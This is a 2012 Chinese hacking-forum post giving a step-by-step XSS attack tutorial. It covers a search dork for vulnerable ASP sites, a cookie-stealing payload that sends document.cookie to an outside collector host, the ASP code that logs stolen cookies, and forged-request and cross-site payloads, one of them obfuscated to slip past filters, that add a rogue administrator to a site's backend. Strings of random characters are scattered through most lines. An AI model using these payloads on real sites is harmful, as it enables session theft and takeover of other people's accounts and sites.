找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2238|回复: 0
打印 上一主题 下一主题

实战xss漏洞利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:08:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为:
+ l; n+ J5 n2 G; t
" v4 z, W. z" ~3 M4 V2 N6 b( Y( Hhttp://tieba.baidu.com/f?kz=10690072393 \' O+ I2 ^* M3 D2 n5 H

0 c/ t* m9 I2 r$ m这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。6 m3 ~& Y( a/ @" H" D( c

0 K4 G7 n( V3 x' v% K3 W4 ~3 ]$ L( K但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。8 l+ w% V4 [' L8 C4 b

. L& Z  p2 X5 {3 J# Z我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。
' S2 m" r0 f! G1 b' F% a2 X& y9 N9 l3 Z% `2 b! ]: F1 N
这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。/ {$ S+ y& w2 u$ Z: w$ l
+ d- e, i* b6 @/ \
好了,废话不多说了,一起来看文章吧。* ~$ ^+ ~) h  l+ H3 {. s8 t6 V

6 v( @/ L! K) A. C) i: g-------------------------------------------------------------------3 T5 u2 b, D0 L2 _) Q9 Q
) v6 }/ Y, ^0 n: n
首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。
! o/ k; ]$ L! N  b3 r; K5 {* {. q3 f9 v8 C6 q( F/ a

$ Z3 q( m% O, L! s/ y1 y
% g6 P: u/ x* T& P+ m8 {再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:
2 E* d" o. x  w" t% ?6 c' f+ A% H$ y) G

, c" q. Z0 \/ I, y$ s8 `: A  v, N7 g0 g) s" R. H7 N5 s8 e+ p$ w
这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是
& _" {1 T7 O2 i4 k1:让目标访问已跨站的网址,然后这个网址执行脚本5 j* J4 T7 @0 P- o+ y% [& Q2 d7 p
2:然后跳转到你已经写好专门用来收集Cookie的网址
5 a4 j2 p" W1 N, J! x$ o' o+ I* \. A+ R6 |. W1 I
具体实现方法:( K. |# _5 _, J) n* T; q3 V
先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>. |. ?4 c. c% m2 `1 r% |
这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。, q/ [" E' M7 g" m0 p$ p8 ~

& _7 f) k5 i( s1 \/ W这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:, d# q: }# @- b' [' j

. J7 S& ^: `5 Q* W0 v3 I% ^  i<html>
, A# i: ?7 A+ C<title>xx</title>
) ]$ G* n- n% u<body>( D/ f8 B( I( @! h6 c: U: M& Y: q2 ^
<%4 V5 e6 u% n  c- ]2 x: Y% k* r' [/ G
testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
5 n9 a( Y- U& O, V7 @) s6 ]' J+ cmsg = Request("msg")   //获取提交过来的msg变量,也就是cookie值  j2 T9 k! }' v# T% i$ C
set fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象( ]* D+ D* v6 N! M) t$ E% R1 ^
set thisfile = fs.OpenTextFile(testfile,8,True,0)
0 C$ D, Q& U4 ?; I; f: Gthisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie- w( T2 q: @* l( I; x4 @
thisfile.close   //关闭3 b/ R8 a1 T9 c% g  I  L
set fs = nothing
7 I0 Z3 u$ h  _$ c' a* S%>% y: ~6 @, k* d1 |
</body>
& L% V0 b8 N& F: F" X</html>
/ T5 `' G  ]7 R: `' @! K6 v
" b# a* F5 ^8 ?& b, \- X然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:
. `8 c9 ]# h4 Y
% Q- i1 ?+ f$ k7 ^2 P' x+ n / e- ?- {' W  H* d# {- I0 ?( a2 i+ G' q! P

& |; {* a$ H1 F. a9 R1 f9 j% v; E2 r% {! v; E7 q
拿出来看看,呵呵,Cookie到手:8 L# o& O4 V: V8 K
$ h. z/ t5 J' a
" ~; M# A$ v2 f- W4 @

' [; x  O5 K9 p8 D" C  J本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~
+ m7 m' z  R& ^" T* e
' B6 T% g0 ~4 w& gPS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。
2 s, H3 R4 A6 P: n4 T
  u, a# x& l8 t' j3 j8 r+ d8 h-------------------------------------------------------------------7 v8 }$ A% Y5 |6 b4 a" o; o
* Z) j6 b& R- k0 G2 a# g- e
下面是我对这个帖子的回复,也一起贴过来吧:( J3 d2 H+ z! }
1 p& A  l* O( K& j
说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。
) [" ^6 Q$ K2 c) [4 }- L% \' i* X- K* b* V
但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。
2 K; x" g' ?. n: E再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。
; e. {  I# |" u0 X2 i# c1 T7 ~, h
2 `! Z3 t( p2 R( g在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:
5 `( N- I7 N0 Y6 P2 F6 J( x
2 B% R5 L. d2 Z5 d' F, Khttp://user.qzone.qq.com/673116767/blog/1252452536* x9 c+ t+ m  |

3 a- B) Y7 Q/ Q  v一般发现一个xss漏洞后要做的基本上就是这些:
* u8 R  h* X, L" e& B7 S
' B* |1 F- h1 e# D/ r% |$ ^/ X5 j4 E1.  伪造请求  使用$_REQUEST或$_GET
! [2 q- Z( X9 m" d# N3 K6 U1 K# g. e
首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:
: B4 w/ H. x7 ~( b<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />: }: ~) a" R0 [2 N0 @
当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。3 P% G$ T% T7 o, i- ?- F6 o

& b7 V& u6 T4 w4 C; n2 ~; {( T. p如果是可视文本编辑器,可以尝试使用输入:2 O4 M" e) |8 y% r
http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')
! I, P  g' F0 e% O5 h这样最终会构造出:
( S# T$ `. d# d3 Z2 w; r<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />
9 B" I9 I+ w! p2 l  z+ e总之要举一反三。
% }3 k1 B3 n( T. S0 M6 j. D( l! O* _4 @' g2 n. c
2. 伪造请求  使用$_POST( X2 [6 S# P* `2 C1 w

+ N7 G: r- q  Q; d8 j% J5 J/ @- B当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:
; x) t/ R# ^" D% `0 P<sc/*xss*/ript type="text/javascript">4 v/ F1 o/ x. `$ Z# M
var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");
& D7 Y: v, Q" n+ R! J( vaj.open("POST", "/admin/admin_add.asp", false);. [: H! B7 u% {2 F$ \
var postdata = 'name=xxx&psd=yyy';
8 N) E: U7 ]6 J1 \# b5 u+ }aj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
% b; i! l0 k* l3 A; saj.send(postdata);
0 |5 Z- h6 ]2 o% L, |</scr/*xss*/ipt>
1 N) B! M: H+ [: P8 Q/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。4 l/ k1 `0 N9 o
/ o$ L: H3 W1 b) r/ _) t5 H$ V, Z. S
3. 跨站伪造请求 使用$_GET 或 $_REQUEST
1 V! d/ U, j8 ^, H6 Y( E1 z6 d9 K+ x0 s' h
与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片& l  Z- W3 U; K& R/ c! H
<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/>$ O# h$ o% r, h/ [! a
然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。, L& z' Y' Y% O( {
+ J9 G6 L9 i0 h
4.跨站伪造请求 使用$_POST(0day)* [  a. H$ E0 |. U& e

7 X6 \9 O: h# L; Y! ]4 U0 ]* P如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。
2 Y" t! T1 b+ J0 C2 W5 a# Z( w1 e4 x- u/ G3 p# ^, P9 ?
但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。3 y6 b6 _% j/ @6 P
* j1 k( R6 ~* H+ y% |: F' o( `
总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。) {; H) n! l- h, s$ Y
! l) `0 [* E0 x0 j2 d; Q& s% U" M' d
OK,该说的都说完了,Over。$ Z7 @! r% m$ H- j% _& V  H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表